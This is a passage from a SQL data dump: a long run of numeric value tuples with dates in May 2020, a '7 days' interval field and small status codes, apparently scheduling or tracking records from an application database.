days',1),(20497,8781,3888,5082,160,73,'2020-05-02','7 days',0),(20498,672,3888,5082,160,73,'2020-05-02','7 days',0),(20499,661,3888,5082,160,73,'2020-05-02','7 days',2),(20529,12512,3830,5015,1394,86,'2020-05-04','7 days',1),(20530,10944,3799,4976,1393,86,'2020-05-04','7 days',0),(20531,10943,3799,4976,1393,86,'2020-05-04','7 days',0),(20532,6348,3799,4976,1393,86,'2020-05-04','7 days',0),(20533,6188,3799,4976,1393,86,'2020-05-04','7 days',2),(20534,5738,3799,4976,1393,86,'2020-05-04','7 days',2),(20535,5736,3799,4976,1393,86,'2020-05-04','7 days',0),(20536,5734,3799,4976,1393,86,'2020-05-04','7 days',2),(20537,5732,3799,4976,1393,86,'2020-05-04','7 days',0),(20538,12513,3831,5016,1251,86,'2020-05-04','7 days',1),(20539,12519,3799,4976,1393,86,'2020-05-04','7 days',1),(20554,11577,3997,5196,194,45,'2020-05-04','7 days',1),(20555,11520,3997,5196,194,45,'2020-05-04','7 days',1),(20556,11519,3997,5196,194,45,'2020-05-04','7 days',1),(20557,11518,3997,5196,194,45,'2020-05-04','7 days',1),(20558,11577,3996,5195,194,45,'2020-05-04','7 days',1),(20559,11520,3996,5195,194,45,'2020-05-04','7 days',1),(20560,11519,3996,5195,194,45,'2020-05-04','7 days',1),(20561,11518,3996,5195,194,45,'2020-05-04','7 days',1),(20562,10393,3970,5169,1315,959,'2020-05-04','7 days',1),(20567,10251,3970,5169,1315,959,'2020-05-04','7 days',1),(20568,10211,3970,5169,1315,959,'2020-05-04','7 days',0),(20577,11876,3575,4672,161,73,'2020-05-04','7 days',2),(20578,11589,3575,4672,161,73,'2020-05-04','7 days',1),(20601,12530,3874,5068,1394,86,'2020-05-04','7 days',1),(20602,12529,3874,5068,1394,86,'2020-05-04','7 days',0),(20603,10944,3874,5068,1394,86,'2020-05-04','7 days',0),(20604,12532,3997,5196,194,45,'2020-05-04','7 days',1),(20605,12531,3997,5196,194,45,'2020-05-04','7 days',1),(20606,12532,3996,5195,194,45,'2020-05-04','7 days',1),(20607,12531,3996,5195,194,45,'2020-05-04','7 days',1),(20608,12425,3987,5187,1394,86,'2020-05-04','7 days',0),(20609,12424,3987,5187,1394,86,'2020-05-04','7 days',0),(20610,12423,3987,5187,1394,86,'2020-05-04','7 days',2),(20611,12422,3987,5187,1394,86,'2020-05-04','7 days',0),(20612,12361,3987,5187,1394,86,'2020-05-04','7 days',0),(20613,12356,3987,5187,1394,86,'2020-05-04','7 days',2),(20614,12355,3987,5187,1394,86,'2020-05-04','7 days',0),(20615,12354,3987,5187,1394,86,'2020-05-04','7 days',2),(20616,9535,3987,5187,1394,86,'2020-05-04','7 days',0),(20617,9534,3987,5187,1394,86,'2020-05-04','7 days',2),(20618,9533,3987,5187,1394,86,'2020-05-04','7 days',2),(20619,9532,3987,5187,1394,86,'2020-05-04','7 days',1),(20620,9531,3987,5187,1394,86,'2020-05-04','7 days',1),(20642,11689,4001,5201,194,45,'2020-05-05','7 days',1),(20643,11688,4001,5201,194,45,'2020-05-05','7 days',1),(20644,11577,4001,5201,194,45,'2020-05-05','7 days',1),(20645,11520,4001,5201,194,45,'2020-05-05','7 days',1),(20646,11519,4001,5201,194,45,'2020-05-05','7 days',1),(20647,11518,4001,5201,194,45,'2020-05-05','7 days',1),(20648,11715,4003,5204,194,45,'2020-05-05','7 days',1),(20649,11714,4003,5204,194,45,'2020-05-05','7 days',1),(20655,11698,3986,5186,1342,971,'2020-05-05','7 days',0),(20656,11456,3986,5186,1342,971,'2020-05-05','7 days',1),(20657,11126,3986,5186,1342,971,'2020-05-05','7 days',1),(20658,10978,3986,5186,1342,971,'2020-05-05','7 days',1),(20659,10967,3986,5186,1342,971,'2020-05-05','7 days',1),(20660,10966,3986,5186,1342,971,'2020-05-05','7 days',1),(20661,10965,3986,5186,1342,971,'2020-05-05','7 days',0),(20662,10964,3986,5186,1342,971,'2020-05-05','7 days',0),(20663,10963,3986,5186,1342,971,'2020-05-05','7 days',0),(20664,12532,4011,5111,194,45,'2020-05-05','7 days',1),(20665,12531,4011,5111,194,45,'2020-05-05','7 days',1),(20666,11715,4011,5111,194,45,'2020-05-05','7 days',1),(20707,9805,3926,5123,1067,326,'2020-05-06','7 days',0),(20708,9803,3926,5123,1067,326,'2020-05-06','7 days',1),(20709,9802,3926,5123,1067,326,'2020-05-06','7 days',0),(20710,9797,3926,5123,1067,326,'2020-05-06','7 days',0),(20711,9796,3926,5123,1067,326,'2020-05-06','7 days',0),(20712,9795,3926,5123,1067,326,'2020-05-06','7 days',0),(20713,7419,3926,5123,1067,326,'2020-05-06','7 days',0),(20714,7418,3926,5123,1067,326,'2020-05-06','7 days',0),(20715,7415,3926,5123,1067,326,'2020-05-06','7 days',0),(20716,11689,4011,5111,194,45,'2020-05-06','7 days',1),(20717,11845,4011,5111,194,45,'2020-05-06','7 days',1),(20718,11578,4011,5111,194,45,'2020-05-06','7 days',1),(20719,11577,4011,5111,194,45,'2020-05-06','7 days',1),(20720,11520,4011,5111,194,45,'2020-05-06','7 days',1),(20721,11519,4011,5111,194,45,'2020-05-06','7 days',1),(20722,11518,4011,5111,194,45,'2020-05-06','7 days',1),(20723,11350,4011,5111,194,45,'2020-05-06','7 days',0),(20724,11299,4011,5111,194,45,'2020-05-06','7 days',2),(20725,12562,4001,5201,194,45,'2020-05-06','7 days',1),(20739,9014,3902,5098,161,73,'2020-05-06','7 days',1),(20740,9013,3902,5098,161,73,'2020-05-06','7 days',0),(20741,8786,3902,5098,161,73,'2020-05-06','7 days',0),(20742,668,3902,5098,161,73,'2020-05-06','7 days',2),(20743,655,3902,5098,161,73,'2020-05-06','7 days',0),(20744,632,3902,5098,161,73,'2020-05-06','7 days',0),(20745,654,3974,5175,161,73,'2020-05-06','7 days',0),(20746,650,3974,5175,161,73,'2020-05-06','7 days',2),(20747,649,3974,5175,161,73,'2020-05-06','7 days',0),(20748,646,3974,5175,161,73,'2020-05-06','7 days',0),(20749,645,3974,5175,161,73,'2020-05-06','7 days',1),(20750,8784,3999,5197,161,73,'2020-05-06','7 days',1),(20751,8783,3999,5197,161,73,'2020-05-06','7 days',0),(20752,656,3999,5197,161,73,'2020-05-06','7 days',0),(20753,653,3999,5197,161,73,'2020-05-06','7 days',0),(20754,664,4005,5206,160,73,'2020-05-06','7 days',0),(20755,663,4005,5206,160,73,'2020-05-06','7 days',0),(20756,658,4005,5206,160,73,'2020-05-06','7 days',0),(20884,9797,3880,5074,1067,326,'2020-05-07','7 days',0),(20885,9796,3880,5074,1067,326,'2020-05-07','7 days',0),(20886,9795,3880,5074,1067,326,'2020-05-07','7 days',0),(20887,9720,3880,5074,1067,326,'2020-05-07','7 days',1),(20888,9719,3880,5074,1067,326,'2020-05-07','7 days',0),(20889,7421,3880,5074,1067,326,'2020-05-07','7 days',0),(20890,7419,3880,5074,1067,326,'2020-05-07','7 days',0),(20891,7418,3880,5074,1067,326,'2020-05-07','7 days',0),(20892,7417,3880,5074,1067,326,'2020-05-07','7 days',0),(20893,7416,3880,5074,1067,326,'2020-05-07','7 days',1),(20894,7415,3880,5074,1067,326,'2020-05-07','7 days',0),(20895,7420,3880,5074,1067,326,'2020-05-07','7 days',0),(20896,9805,4006,5207,1067,326,'2020-05-07','7 days',0),(20897,9803,4006,5207,1067,326,'2020-05-07','7 days',1),(20898,9802,4006,5207,1067,326,'2020-05-07','7 days',0),(20899,9801,4006,5207,1067,326,'2020-05-07','7 days',0),(20900,9800,4006,5207,1067,326,'2020-05-07','7 days',0),(20901,9798,4006,5207,1067,326,'2020-05-07','7 days',0),(20902,11715,4013,5214,194,45,'2020-05-07','7 days',1),(20903,11715,4024,5226,194,45,'2020-05-07','7 days',1),(20907,11520,4032,5080,194,45,'2020-05-07','7 days',1),(20908,11519,4032,5080,194,45,'2020-05-07','7 days',1),(20914,12597,4032,5080,194,45,'2020-05-07','7 days',1),(20980,11589,3657,4778,161,73,'2020-05-08','7 days',1),(21118,12173,3722,4881,1343,86,'2020-05-09','7 days',0),(21119,12174,3722,4881,1343,86,'2020-05-09','7 days',0),(21120,12175,3722,4881,1343,86,'2020-05-09','7 days',0),(21121,12176,3722,4881,1343,86,'2020-05-09','7 days',0),(21122,8997,3938,5137,1343,86,'2020-05-09','7 days',1),(21128,12519,3830,5015,1394,86,'2020-05-09','7 days',0),(21129,12513,3874,5068,1394,86,'2020-05-09','7 days',1),(21130,12371,3791,4963,1343,86,'2020-05-09','7 days',0),(21131,12370,3791,4963,1343,86,'2020-05-09','7 days',2),(21132,12369,3791,4963,1343,86,'2020-05-09','7 days',1),(21133,12368,3791,4963,1343,86,'2020-05-09','7 days',2),(21134,12367,3791,4963,1343,86,'2020-05-09','7 days',0),(21135,12366,3791,4963,1343,86,'2020-05-09','7 days',0),(21136,12365,3791,4963,1343,86,'2020-05-09','7 days',0),(21137,12362,3791,4963,1343,86,'2020-05-09','7 days',0),(21138,12353,3791,4963,1343,86,'2020-05-09','7 days',2),(21139,12352,3791,4963,1343,86,'2020-05-09','7 days',0),(21140,12351,3791,4963,1343,86,'2020-05-09','7 days',0),(21141,9718,3791,4963,1343,86,'2020-05-09','7 days',0),(21142,9007,3791,4963,1343,86,'2020-05-09','7 days',0),(21143,9005,3791,4963,1343,86,'2020-05-09','7 days',0),(21165,12532,4070,5274,194,45,'2020-05-11','7 days',1),(21166,11715,4070,5274,194,45,'2020-05-11','7 days',1),(21173,12739,4074,4677,1406,971,'2020-05-11','7 days',1),(21174,12739,4071,5275,1406,971,'2020-05-11','7 days',0),(21236,9613,4064,5268,203,86,'2020-05-11','7 days',0),(21241,12360,4056,5257,1393,86,'2020-05-11','7 days',2),(21242,12359,4056,5257,1393,86,'2020-05-11','7 days',0),(21243,12358,4056,5257,1393,86,'2020-05-11','7 days',1),(21244,12357,4056,5257,1393,86,'2020-05-11','7 days',0),(21245,12303,4056,5257,1393,86,'2020-05-11','7 days',0),(21246,12302,4056,5257,1393,86,'2020-05-11','7 days',0),(21247,12301,4056,5257,1393,86,'2020-05-11','7 days',0),(21248,12300,4056,5257,1393,86,'2020-05-11','7 days',0),(21249,12299,4056,5257,1393,86,'2020-05-11','7 days',0),(21250,12298,4056,5257,1393,86,'2020-05-11','7 days',0),(21251,12297,4056,5257,1393,86,'2020-05-11','7 days',0),(21252,11949,4056,5257,1393,86,'2020-05-11','7 days',2),(21253,12259,4058,5259,1408,86,'2020-05-11','7 days',1),(21254,12258,4058,5259,1408,86,'2020-05-11','7 days',0),(21255,12257,4058,5259,1408,86,'2020-05-11','7 days',0),(21256,12256,4058,5259,1408,86,'2020-05-11','7 days',0),(21257,12255,4058,5259,1408,86,'2020-05-11','7 days',0),(21258,12241,4058,5259,1408,86,'2020-05-11','7 days',0),(21259,12240,4058,5259,1408,86,'2020-05-11','7 days',0),(21260,12239,4058,5259,1408,86,'2020-05-11','7 days',0),(21261,12368,4058,5259,1408,86,'2020-05-11','7 days',0),(21262,12364,4058,5259,1408,86,'2020-05-11','7 days',0),(21263,12363,4058,5259,1408,86,'2020-05-11','7 days',0),(21264,11848,4058,5259,1408,86,'2020-05-11','7 days',0),(21265,9608,4058,5259,1408,86,'2020-05-11','7 days',0),(21266,9007,4058,5259,1408,86,'2020-05-11','7 days',0),(21267,9002,4058,5259,1408,86,'2020-05-11','7 days',1),(21276,11456,4071,5275,1406,971,'2020-05-12','7 days',0),(21349,12764,4064,5268,203,86,'2020-05-12','7 days',0),(21350,12763,4064,5268,203,86,'2020-05-12','7 days',1),(21351,12771,4064,5268,203,86,'2020-05-12','7 days',0),(21352,12768,4064,5268,203,86,'2020-05-12','7 days',0),(21353,12765,4064,5268,203,86,'2020-05-12','7 days',0),(21362,12532,4081,5284,194,45,'2020-05-12','7 days',1),(21363,11715,4081,5284,194,45,'2020-05-12','7 days',1),(21365,12776,4081,5284,194,45,'2020-05-12','7 days',1),(21380,12264,4065,5269,1011,91,'2020-05-13','7 days',1),(21381,12263,4065,5269,1011,91,'2020-05-13','7 days',1),(21382,9159,4015,5215,1011,91,'2020-05-13','7 days',1),(21383,9155,4015,5215,1011,91,'2020-05-13','7 days',1),(21384,7213,4015,5215,1011,91,'2020-05-13','7 days',1),(21385,12296,4056,5257,1393,86,'2020-05-13','7 days',1),(21386,11970,4056,5257,1393,86,'2020-05-13','7 days',1),(21387,11969,4056,5257,1393,86,'2020-05-13','7 days',0),(21388,11967,4056,5257,1393,86,'2020-05-13','7 days',0),(21389,11965,4056,5257,1393,86,'2020-05-13','7 days',0),(21390,11962,4056,5257,1393,86,'2020-05-13','7 days',0),(21391,12769,4058,5259,1408,86,'2020-05-13','7 days',0),(21392,12767,4058,5259,1408,86,'2020-05-13','7 days',0),(21393,12766,4058,5259,1408,86,'2020-05-13','7 days',0),(21394,12371,4058,5259,1408,86,'2020-05-13','7 days',0),(21395,12370,4058,5259,1408,86,'2020-05-13','7 days',0),(21396,12779,4058,5259,1408,86,'2020-05-13','7 days',0),(21397,12781,4064,5268,203,86,'2020-05-13','7 days',0),(21398,12785,4056,5257,1393,86,'2020-05-13','7 days',0),(21399,12784,4056,5257,1393,86,'2020-05-13','7 days',0),(21400,12783,4056,5257,1393,86,'2020-05-13','7 days',0),(21401,11957,4056,5257,1393,86,'2020-05-13','7 days',2),(21402,11954,4056,5257,1393,86,'2020-05-13','7 days',1),(21403,12788,4017,5217,1291,86,'2020-05-13','7 days',0),(21404,12787,4017,5217,1291,86,'2020-05-13','7 days',2),(21405,12786,4017,5217,1291,86,'2020-05-13','7 days',0),(21406,11961,4017,5217,1291,86,'2020-05-13','7 days',2),(21407,11959,4017,5217,1291,86,'2020-05-13','7 days',2),(21408,11951,4017,5217,1291,86,'2020-05-13','7 days',0),(21409,10685,4017,5217,1291,86,'2020-05-13','7 days',1),(21410,10684,4017,5217,1291,86,'2020-05-13','7 days',1),(21500,11715,4092,5297,194,45,'2020-05-14','7 days',1),(21501,12532,4087,5292,194,45,'2020-05-14','7 days',1),(21502,12531,4087,5292,194,45,'2020-05-14','7 days',1),(21550,11715,4109,5297,194,45,'2020-05-15','7 days',1),(21551,11714,4109,5297,194,45,'2020-05-15','7 days',1),(21599,12259,4113,5317,1408,86,'2020-05-15','7 days',1),(21600,12258,4113,5317,1408,86,'2020-05-15','7 days',0),(21601,12257,4113,5317,1408,86,'2020-05-15','7 days',0),(21602,12256,4113,5317,1408,86,'2020-05-15','7 days',0),(21603,12255,4113,5317,1408,86,'2020-05-15','7 days',0),(21604,12241,4113,5317,1408,86,'2020-05-15','7 days',0),(21605,12240,4113,5317,1408,86,'2020-05-15','7 days',0),(21606,12239,4113,5317,1408,86,'2020-05-15','7 days',0),(21613,10779,3860,5048,634,639,'2020-05-15','7 days',1),(21614,4510,3860,5048,634,639,'2020-05-15','7 days',0),(21615,4506,3860,5048,634,639,'2020-05-15','7 days',2),(21616,8796,3835,5021,633,639,'2020-05-15','7 days',1),(21617,4452,3835,5021,633,639,'2020-05-15','7 days',1),(21618,4473,3835,5021,633,639,'2020-05-15','7 days',2),(21619,8796,3723,4883,634,639,'2020-05-15','7 days',1),(21620,4502,3723,4883,634,639,'2020-05-15','7 days',2),(21621,4510,3723,4883,634,639,'2020-05-15','7 days',0),(21622,4506,3723,4883,634,639,'2020-05-15','7 days',2),(21654,9532,4113,5317,1408,86,'2020-05-18','7 days',1),(21655,8997,4058,5259,1408,86,'2020-05-18','7 days',1),(21656,9610,4058,5259,1408,86,'2020-05-18','7 days',0),(21657,12782,4017,5217,1291,86,'2020-05-18','7 days',0),(21658,12769,4017,5217,1291,86,'2020-05-18','7 days',0),(21675,9805,4117,5321,1067,326,'2020-05-18','7 days',0),(21676,9803,4117,5321,1067,326,'2020-05-18','7 days',1),(21677,9802,4117,5321,1067,326,'2020-05-18','7 days',0),(21678,9801,4117,5321,1067,326,'2020-05-18','7 days',0),(21679,9800,4117,5321,1067,326,'2020-05-18','7 days',0),(21680,9798,4117,5321,1067,326,'2020-05-18','7 days',0),(21681,12368,4017,5217,1291,86,'2020-05-18','7 days',2),(21711,12829,4064,5268,203,86,'2020-05-18','7 days',0),(21712,12828,4064,5268,203,86,'2020-05-18','7 days',0),(21713,12827,4064,5268,203,86,'2020-05-18','7 days',0),(21764,12867,4149,5356,194,45,'2020-05-19','7 days',1),(21765,12597,4149,5356,194,45,'2020-05-19','7 days',2),(21766,12867,4142,5348,194,45,'2020-05-19','7 days',1),(21767,12597,4142,5348,194,45,'2020-05-19','7 days',2),(21768,12532,4131,5338,194,45,'2020-05-19','7 days',1),(21769,12531,4131,5338,194,45,'2020-05-19','7 days',1),(21770,11520,4132,5339,194,45,'2020-05-19','7 days',1),(21771,11519,4132,5339,194,45,'2020-05-19','7 days',1),(21772,11520,4131,5338,194,45,'2020-05-19','7 days',1),(21773,11519,4131,5338,194,45,'2020-05-19','7 days',1),(21774,5467,4126,5333,194,45,'2020-05-19','7 days',1),(21802,9111,4140,5347,358,251,'2020-05-20','7 days',1),(21803,9110,4140,5347,358,251,'2020-05-20','7 days',0),(21804,9109,4140,5347,358,251,'2020-05-20','7 days',1),(21805,9108,4140,5347,358,251,'2020-05-20','7 days',1),(21810,9797,4138,5345,1067,326,'2020-05-20','7 days',0),(21811,9796,4138,5345,1067,326,'2020-05-20','7 days',0),(21812,9795,4138,5345,1067,326,'2020-05-20','7 days',0),(21813,9720,4138,5345,1067,326,'2020-05-20','7 days',1),(21814,9719,4138,5345,1067,326,'2020-05-20','7 days',0),(21815,7421,4138,5345,1067,326,'2020-05-20','7 days',0),(21816,7420,4138,5345,1067,326,'2020-05-20','7 days',0),(21817,7419,4138,5345,1067,326,'2020-05-20','7 days',0),(21818,7418,4138,5345,1067,326,'2020-05-20','7 days',0),(21819,7417,4138,5345,1067,326,'2020-05-20','7 days',0),(21820,7416,4138,5345,1067,326,'2020-05-20','7 days',1),(21821,7415,4138,5345,1067,326,'2020-05-20','7 days',0),(21822,9537,4090,5295,1011,91,'2020-05-20','7 days',1),(21823,9537,4065,5269,1011,91,'2020-05-20','7 days',1),(21824,9537,4015,5215,1011,91,'2020-05-20','7 days',1),(21825,12875,3880,5074,1067,326,'2020-05-20','7 days',1),(21826,9805,3880,5074,1067,326,'2020-05-20','7 days',0),(21827,9803,3880,5074,1067,326,'2020-05-20','7 days',0),(21828,9802,3880,5074,1067,326,'2020-05-20','7 days',0),(21829,9801,3880,5074,1067,326,'2020-05-20','7 days',0),(21830,9800,3880,5074,1067,326,'2020-05-20','7 days',0),(21831,9798,3880,5074,1067,326,'2020-05-20','7 days',0),(21879,9007,3722,4881,1343,86,'2020-05-20','7 days',0),(21880,8997,3722,4881,1343,86,'2020-05-20','7 days',1),(21904,12875,4006,5207,1067,326,'2020-05-20','7 days',1),(21905,12875,4117,5321,1067,326,'2020-05-20','7 days',1),(21906,12875,3741,4854,1067,326,'2020-05-20','7 days',1),(21907,9805,3741,4854,1067,326,'2020-05-20','7 days',0),(21908,9803,3741,4854,1067,326,'2020-05-20','7 days',0),(21909,9802,3741,4854,1067,326,'2020-05-20','7 days',0),(21910,9801,3741,4854,1067,326,'2020-05-20','7 days',0),(21911,9800,3741,4854,1067,326,'2020-05-20','7 days',0),(21912,9798,3741,4854,1067,326,'2020-05-20','7 days',0),(21913,12897,4138,5345,1067,326,'2020-05-20','7 days',1),(21914,9805,4138,5345,1067,326,'2020-05-20','7 days',0),(21915,9803,4138,5345,1067,326,'2020-05-20','7 days',0),(21916,9802,4138,5345,1067,326,'2020-05-20','7 days',0),(21917,9801,4138,5345,1067,326,'2020-05-20','7 days',0),(21918,9800,4138,5345,1067,326,'2020-05-20','7 days',0),(21919,9798,4138,5345,1067,326,'2020-05-20','7 days',0),(21922,12900,4173,5382,194,45,'2020-05-21','7 days',0),(21923,12900,4183,5382,194,45,'2020-05-21','7 days',0),(21924,12788,3898,5091,1251,86,'2020-05-21','7 days',0),(21925,12787,3898,5091,1251,86,'2020-05-21','7 days',0),(21926,12786,3898,5091,1251,86,'2020-05-21','7 days',0),(21927,12783,3898,5091,1251,86,'2020-05-21','7 days',0),(21928,12360,3898,5091,1251,86,'2020-05-21','7 days',2),(21929,12300,3898,5091,1251,86,'2020-05-21','7 days',0),(21930,12299,3898,5091,1251,86,'2020-05-21','7 days',0),(21931,12298,3898,5091,1251,86,'2020-05-21','7 days',0),(21932,12297,3898,5091,1251,86,'2020-05-21','7 days',0),(21933,12296,3898,5091,1251,86,'2020-05-21','7 days',0),(21934,11954,3898,5091,1251,86,'2020-05-21','7 days',1),(21935,11951,3898,5091,1251,86,'2020-05-21','7 days',0),(21936,11949,3898,5091,1251,86,'2020-05-21','7 days',2),(21970,12900,4200,5382,194,45,'2020-05-21','7 days',0),(22005,12532,4178,5387,194,45,'2020-05-22','7 days',1),(22006,12531,4178,5387,194,45,'2020-05-22','7 days',1),(22007,11715,4178,5387,194,45,'2020-05-22','7 days',1),(22008,12532,4209,5421,194,45,'2020-05-22','7 days',1),(22009,12531,4209,5421,194,45,'2020-05-22','7 days',1),(22010,11715,4209,5421,194,45,'2020-05-22','7 days',1),(22033,11520,4209,5421,194,45,'2020-05-22','7 days',1),(22034,11519,4209,5421,194,45,'2020-05-22','7 days',1),(22035,11350,4209,5421,194,45,'2020-05-22','7 days',0),(22036,9650,4190,5400,194,45,'2020-05-22','7 days',0),(22056,12971,4216,5429,1235,277,'2020-05-22','7 days',1),(22058,5743,4194,5405,204,86,'2020-05-22','7 days',1),(22059,5741,4194,5405,204,86,'2020-05-22','7 days',1),(22060,5739,4194,5405,204,86,'2020-05-22','7 days',0),(22061,6243,4194,5405,204,86,'2020-05-22','7 days',0),(22062,6241,4194,5405,204,86,'2020-05-22','7 days',0),(22067,12972,4083,5287,1410,975,'2020-05-23','7 days',1),(22068,12972,4148,5355,1410,975,'2020-05-23','7 days',1),(22072,10251,4144,5351,1367,959,'2020-05-23','7 days',1),(22073,10393,4144,5351,1367,959,'2020-05-23','7 days',1),(22097,8784,4134,5341,162,73,'2020-05-23','7 days',1),(22098,8783,4134,5341,162,73,'2020-05-23','7 days',0),(22099,656,4134,5341,162,73,'2020-05-23','7 days',1),(22100,653,4134,5341,162,73,'2020-05-23','7 days',2),(22104,12898,4160,5368,161,73,'2020-05-23','7 days',1),(22105,12899,4160,5368,161,73,'2020-05-23','7 days',1),(22106,671,4160,5368,161,73,'2020-05-23','7 days',0),(22114,8783,4160,5368,161,73,'2020-05-23','7 days',0),(22116,656,4160,5368,161,73,'2020-05-23','7 days',0),(22158,12867,4230,5444,194,45,'2020-05-23','7 days',1),(22159,12776,4230,5444,194,45,'2020-05-23','7 days',1),(22160,12776,4209,5421,194,45,'2020-05-23','7 days',1),(22161,12776,4178,5387,194,45,'2020-05-23','7 days',1),(22220,9004,3898,5091,1251,86,'2020-05-23','7 days',0),(22221,9002,3898,5091,1251,86,'2020-05-23','7 days',1),(22222,9000,3898,5091,1251,86,'2020-05-23','7 days',1),(22223,8999,3898,5091,1251,86,'2020-05-23','7 days',0),(22291,12875,4138,5345,1067,326,'2020-05-23','7 days',1),(22296,11876,4187,3790,160,73,'2020-05-24','7 days',2),(22297,11589,4187,3790,160,73,'2020-05-24','7 days',1),(22298,8781,4187,3790,160,73,'2020-05-24','7 days',0),(22299,672,4187,3790,160,73,'2020-05-24','7 days',1),(22300,661,4187,3790,160,73,'2020-05-24','7 days',0),(22301,640,4005,5206,160,73,'2020-05-24','7 days',0),(22302,639,4005,5206,160,73,'2020-05-24','7 days',0),(22303,637,4005,5206,160,73,'2020-05-24','7 days',0),(22304,636,4005,5206,160,73,'2020-05-24','7 days',0),(22305,629,4005,5206,160,73,'2020-05-24','7 days',0),(22306,12979,3888,5082,160,73,'2020-05-25','7 days',1),(22438,12826,3722,4881,1343,86,'2020-05-25','7 days',0),(22439,12782,3722,4881,1343,86,'2020-05-25','7 days',0),(22440,12769,3722,4881,1343,86,'2020-05-25','7 days',0),(22441,12351,3722,4881,1343,86,'2020-05-25','7 days',0),(22442,11848,3722,4881,1343,86,'2020-05-25','7 days',2),(22443,9004,3722,4881,1343,86,'2020-05-25','7 days',0),(22450,13003,4064,5268,203,86,'2020-05-25','7 days',0),(22451,13002,4064,5268,203,86,'2020-05-25','7 days',0),(22452,13001,4064,5268,203,86,'2020-05-25','7 days',0),(22453,13000,4064,5268,203,86,'2020-05-25','7 days',0),(22454,12999,4064,5268,203,86,'2020-05-25','7 days',0),(22455,12998,4064,5268,203,86,'2020-05-25','7 days',0),(22461,12786,3938,5137,1343,86,'2020-05-25','7 days',0),(22462,12785,3938,5137,1343,86,'2020-05-25','7 days',0),(22463,12784,3938,5137,1343,86,'2020-05-25','7 days',0),(22464,12359,3938,5137,1343,86,'2020-05-25','7 days',0),(22465,12358,3938,5137,1343,86,'2020-05-25','7 days',0),(22466,12296,3938,5137,1343,86,'2020-05-25','7 days',0),(22467,11970,3938,5137,1343,86,'2020-05-25','7 days',0),(22468,13009,3898,5091,1251,86,'2020-05-25','7 days',0),(22469,13008,3898,5091,1251,86,'2020-05-25','7 days',1),(22470,13007,3898,5091,1251,86,'2020-05-25','7 days',2),(22471,13006,3898,5091,1251,86,'2020-05-25','7 days',0),(22472,13005,3898,5091,1251,86,'2020-05-25','7 days',0),(22473,13004,3898,5091,1251,86,'2020-05-25','7 days',0),(22477,13013,3830,5015,1394,86,'2020-05-25','7 days',0),(22478,13012,3830,5015,1394,86,'2020-05-25','7 days',0),(22479,13011,3830,5015,1394,86,'2020-05-25','7 days',0),(22480,13010,3830,5015,1394,86,'2020-05-25','7 days',0),(22481,12780,3830,5015,1394,86,'2020-05-25','7 days',0),(22482,12779,3830,5015,1394,86,'2020-05-25','7 days',0),(22535,11360,3983,5183,1370,667,'2020-05-26','7 days',1),(22536,11359,3983,5183,1370,667,'2020-05-26','7 days',1),(22537,11358,3983,5183,1370,667,'2020-05-26','7 days',1),(22538,11357,3983,5183,1370,667,'2020-05-26','7 days',1),(22539,11356,3983,5183,1370,667,'2020-05-26','7 days',1),(22540,11355,3983,5183,1370,667,'2020-05-26','7 days',1),(22541,11354,3983,5183,1370,667,'2020-05-26','7 days',1),(22551,11360,3882,5066,1370,667,'2020-05-26','7 days',1),(22552,11359,3882,5066,1370,667,'2020-05-26','7 days',1),(22553,11358,3882,5066,1370,667,'2020-05-26','7 days',1),(22554,11357,3882,5066,1370,667,'2020-05-26','7 days',1),(22555,11356,3882,5066,1370,667,'2020-05-26','7 days',1),(22556,11355,3882,5066,1370,667,'2020-05-26','7 days',1),(22557,11354,3882,5066,1370,667,'2020-05-26','7 days',1),(22602,5408,4174,5383,358,251,'2020-05-26','7 days',0),(22603,5407,4174,5383,358,251,'2020-05-26','7 days',0),(22604,5406,4174,5383,358,251,'2020-05-26','7 days',1),(22605,5405,4174,5383,358,251,'2020-05-26','7 days',0),(22659,12979,4241,5456,161,73,'2020-05-27','7 days',1),(22660,11876,4241,5456,161,73,'2020-05-27','7 days',1),(22661,8781,4241,5456,161,73,'2020-05-27','7 days',0),(22662,672,4241,5456,161,73,'2020-05-27','7 days',0),(22672,12897,4251,5467,1067,326,'2020-05-27','7 days',0),(22673,12875,4251,5467,1067,326,'2020-05-27','7 days',1),(22674,9805,4251,5467,1067,326,'2020-05-27','7 days',0),(22675,9803,4251,5467,1067,326,'2020-05-27','7 days',0),(22676,9802,4251,5467,1067,326,'2020-05-27','7 days',0),(22677,9801,4251,5467,1067,326,'2020-05-27','7 days',0),(22678,9800,4251,5467,1067,326,'2020-05-27','7 days',0),(22679,9798,4251,5467,1067,326,'2020-05-27','7 days',0),(22715,5407,4280,5469,358,251,'2020-05-27','7 days',0),(22716,5406,4280,5469,358,251,'2020-05-27','7 days',0),(22717,5405,4280,5469,358,251,'2020-05-27','7 days',0),(22718,5404,4280,5469,358,251,'2020-05-27','7 days',1),(22719,9111,4215,5428,357,251,'2020-05-27','7 days',1),(22720,9110,4215,5428,357,251,'2020-05-27','7 days',0),(22721,9109,4215,5428,357,251,'2020-05-27','7 days',1),(22722,9108,4215,5428,357,251,'2020-05-27','7 days',1),(22723,9107,4215,5428,357,251,'2020-05-27','7 days',1),(22724,9109,4150,5357,357,251,'2020-05-27','7 days',1),(22725,9107,4150,5357,357,251,'2020-05-27','7 days',1),(22726,9934,3862,5053,357,251,'2020-05-27','7 days',0),(22727,9933,3862,5053,357,251,'2020-05-27','7 days',1),(22728,9932,3862,5053,357,251,'2020-05-27','7 days',1),(22729,9034,3862,5053,357,251,'2020-05-27','7 days',0),(22730,5407,3825,5006,358,251,'2020-05-27','7 days',0),(22731,5406,3825,5006,358,251,'2020-05-27','7 days',1),(22732,5405,3825,5006,358,251,'2020-05-27','7 days',0),(22733,5404,3825,5006,358,251,'2020-05-27','7 days',1),(22734,4275,3825,5006,358,251,'2020-05-27','7 days',0),(22735,9932,3825,5006,358,251,'2020-05-27','7 days',1),(22736,9034,3825,5006,358,251,'2020-05-27','7 days',0),(22737,9033,3825,5006,358,251,'2020-05-27','7 days',0),(22738,9032,3825,5006,358,251,'2020-05-27','7 days',0),(22739,1408,4316,5533,194,45,'2020-05-27','7 days',0),(22740,1405,4316,5533,194,45,'2020-05-27','7 days',0),(22741,11715,4324,5544,194,45,'2020-05-27','7 days',1),(22742,11714,4324,5544,194,45,'2020-05-27','7 days',1),(22743,11715,4313,5530,194,45,'2020-05-27','7 days',1),(22744,11714,4313,5530,194,45,'2020-05-27','7 days',1),(22745,12776,4253,5470,194,45,'2020-05-27','7 days',1),(22746,12900,4272,5488,194,45,'2020-05-27','7 days',0),(22747,12776,4272,5488,194,45,'2020-05-27','7 days',1),(22748,12900,4248,5463,194,45,'2020-05-27','7 days',0),(22749,12776,4248,5463,194,45,'2020-05-27','7 